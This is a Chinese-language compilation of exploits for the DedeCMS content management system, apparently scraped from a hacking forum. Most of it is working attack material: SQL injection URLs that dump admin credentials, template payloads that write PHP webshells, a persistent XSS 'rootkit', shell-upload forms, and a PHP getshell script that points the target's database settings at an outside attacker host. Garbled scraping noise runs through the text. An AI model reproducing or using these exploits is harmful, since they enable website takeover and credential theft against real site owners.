dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
+ V) y: S2 F+ Z8 G9 i( v5 s3 ~6 Ohttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1



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8 T( j- @+ f5 u+ E/ XDedeCms v5.6 嵌入恶意代码执行漏洞
+ H! f+ `+ I& }6 c注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
2 m' j. ~* t5 O' r. M2 W* sa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
& l* D) ?% Z2 t: ~( p$ n生成x.php 密码xiao，直接生成一句话。

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Dede 5.6 GBK SQL注入漏洞
% Y: d% y" y% I) jhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
# `4 W; Q! V2 F0 Khttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
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* e$ _. K- l2 MDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
/ V  d+ }# y, _1 Jhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
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( u6 c6 Z, ~" E$ K5 m. d2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

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8 f: J( Y0 _- E3 b$ Nhttp://v57.demo.dedecms.com/dede/login.php
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color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
<?php
7 e' g$ C, P/ |/ Terror_reporting(E_ERROR);
set_time_limit(0);
4 z, l( o! N) h6 v. R- ?print_r('
* s/ P# e& }4 T7 A2 HDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
);
, C" x0 Q1 B! A# w# T  h, Yecho "\r\n";
3 @4 f$ v; A  |2 E* kif($argv[2]==null){
( Z, B/ [) M8 Y, c; f4 _; \8 Bprint_r('
: h7 |+ ^* Q( p$ U6 g# I, J6 M+---------------------------------------------------------------------------+
' b% B0 p' n7 Y+ Y7 Y- e% aUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
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');
exit;
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* ]0 I8 p' m! V5 H7 i3 G1 O% b$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
7 S! t+ b9 I2 d, w8 r6 F( `$exp=Getshell($url,$aid,$path);
& i# ?! I. |) ?, g7 {if (strpos($exp,"OK")>12){
$ U5 v* N6 _9 C6 p7 e3 a( J" {! i2 ]echo "
$ T( t- r( R: Y+ r+ wExploit Success \n";
if($aid==1)echo "
# N/ d+ A9 Q  Y% r0 F! n% LShell:".$url."/$path/data/cache/fuck.php\n" ;
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! h, |9 p7 ?8 }% H; X. _6 `if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;


9 k. y; l) |/ \" i% o. ^8 S8 Iif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


}else{
echo "
' R" \5 V$ @7 F$ c) ^5 q% `7 @Exploit Failed \n";
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- I/ o$ b; {5 H, q! A' a) [4 Vfunction Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
8 Y  e' `; i  _4 d( @1 ?$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
, U, g/ j. k! O8 x  \) D" k$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
/ Q+ m+ B' l' p9 V+ E7 u//$data .= "Accept-Encoding: gzip,deflate\r\n";
  ?% H3 `0 M9 Z7 v$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
9 D4 B8 Y) P% I! \" H$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
- s0 F, \' L' W! B- t; O$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
5 b* y/ m7 R5 ~% T& techo "
1 Y3 g+ {0 \9 m$ Q7 O# x* GNo response from ".$host."\n";
}
fwrite($ock,$data);
0 @8 K$ B" [: U2 _3 X7 l$ ~while (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
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9 q: r; ]$ R1 U# O, eDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

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把上面validate=dcug改为当前的验证码，即可直接进入网站后台
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此漏洞的前提是必须得到后台路径才能实现

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% F& t/ h' T" @! c: EDedecms织梦 标签远程文件写入漏洞
$ f% h, J$ _7 _( ~+ X8 ]( A3 L前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
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再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
! g  ?/ c- h8 {5 \* ~! {* _<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
' g$ i" A; c& M3 x4 r<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
# P) O3 Q. i2 a1 M* y<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
4 P. b$ Z, P0 T' o: `& mfunction addaction()
, g' G% z  s7 `1 p  _' U{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
! Q2 l; ~% `6 D</script>
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DedeCms v5.6 嵌入恶意代码执行漏洞
: `) Q# s3 _: O) `& H/ G注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
5 |$ A) t3 I) e* \  ja{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
' L0 B" a1 O) I. `0 ?Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg


. y; b' K) x1 P3 N3 j, A. P! G) {- H模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
) E  j8 r) B( c  c4 f& f$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
) h+ s( d4 N8 `% i6 A# A1 _@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
& s7 T6 O$ [; Q, q<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />


<div id="mainCp">
, z* g3 Q4 }' w<h3 class="meTitle"><strong>修改文章</strong></h3>
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4 j/ P* G2 |3 H' }<div class="postForm">
<label>标题：</label>
6 @3 {# }: V# c# o! A( |/ J/ n/ u<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
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<label>标签TAG：</label>
. Y0 f8 W1 M4 P$ k( q8 l<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
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<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
( E8 c. Q9 q2 P( L* Y</select>
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% F# W2 O/ s8 i  |) Q1 j) O<label>信息摘要：</label>
& i9 D- K1 ?' U! e! [7 M% V  ?$ U0 T' r<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)


<label>缩略图：</label>
; K* J9 f% h1 A! i' ^' h<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

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<input type='text' name='templet'
" ?" j% j- Z) {6 J2 Nvalue="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
2 h* P% m0 K& Q</div>


. H2 {; b8 l- Q' T4 h6 S<!-- 表单操作区域 -->
, d2 C# q3 O3 G- r# V<h3 class="meTitle">详细内容</h3>


" w& C0 a8 @5 f# v/ N7 R4 t; m<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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<label>验证码：</label>
- A6 X- @+ D; \3 A( n, u<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
1 i# P& A' f" b5 A+ I<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />

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8 O% U) B& W; R" G<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
0 o4 _" x. K3 Q! s$ J" i* o</div>

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</div>
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</form>
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  l- m  W. A4 x+ y提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
& W! v6 ^) n" C# R+ A3 [假设刚刚修改的文章的aid为2，则我们只需要访问：
# }0 a  H* o9 v/ Dhttp://127.0.0.1/dede/plus/view.php?aid=2
. A4 r/ e: d2 Y: }/ o4 g; n即可以在plus目录下生成webshell：1.php

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DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
/ _8 h1 p. S5 E, lGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
+ k- q. x# q% ^" O) }" u<input type="hidden" name="aid" value="7" />
4 \) n. ^) {+ C<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
1 \4 S2 O- ^. q; z% c$ E<input name="addonfile" type="file" id="addonfile"/>
  \, D3 R0 F! \7 S<button class="button2" type="submit" >更改</button>
</form>
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构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
) S* W1 _/ D1 c* J4 t6 d0 c发表文章，然后构造修改表单如下：


+ R+ w: `/ i7 R, J7 j* P<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
) @" ?5 M& z4 u0 c! c3 `<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
: I+ U+ `0 [% K' w<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
  c3 R9 [' K. F- K; Z<select name='mtypesid' size='1'>
/ }+ U" a0 x- D<option value='0' selected>请选择分类...</option>
( f7 @4 [9 M" c, w* Q<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
! b5 H1 t$ C$ [. j<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
) U$ z4 o" x& q9 R' f<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
2 M; X' D$ i6 G' w0 b* D<button class="button2" type="submit">提交</button>
6 ^- C# {$ z$ G- C  ]! F7 e</form>
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% V1 x% E( v. z+ r- Q) M, F织梦(Dedecms)V5.6 远程文件删除漏洞
* G  p' Y3 U7 d1 L% E+ xhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

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: v8 @# d7 J$ W: u# K' r6 R+ A- H织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
( M6 r1 U) v: `0 w7 P  Phttp://www.test.com/plus/carbuya ... urn&code=../../
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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5





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织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
' _/ \3 ~9 {  f8 f* F% _0 ^" x1 chttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

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织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
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<head>
) }7 \& C5 S+ k' u$ ?/ M<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
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<body style="FONT-SIZE: 9pt">
* \/ i* p4 Z' Z: i1 {/ A8 I& J---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
  @$ @3 w; t  ^' V0 {<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
: H$ l: t- k  n( b/ [<input type='hidden' name='cfg_imgtype' value='php' />
2 D! c. }5 k. Q* v( F+ C. Q<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
" X& l' i+ j9 i. X) w1 u7 |1 Q  W$ q<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
+ A9 Z, \! k1 Y9 @" I) ?<input type='submit' name='sb1' value='确定' />
</form>
  ~7 z! @" {4 |: w  A<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
% l  |8 h4 R1 ?% i8 u$ ?Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>
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织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
6 F4 n% `! z( q5 ?( c7 M/ G* w利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
9 A- S: m- A$ nhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
6 I5 ]* }  h9 i. [7 Y2 M! F可看见错误信息
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2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
, h) Y1 M0 i& m# n% }- \int(3) Error: Illegal double '1024e1024' value found during parsing
1 E# Q9 k) `  JError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>

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3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
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" j" O, D) V/ B; J按确定后的看到第2步骤的信息表示文件木马上传成功.
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) h6 F& g1 B; K7 N0 z0 U4 b  |! ~织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*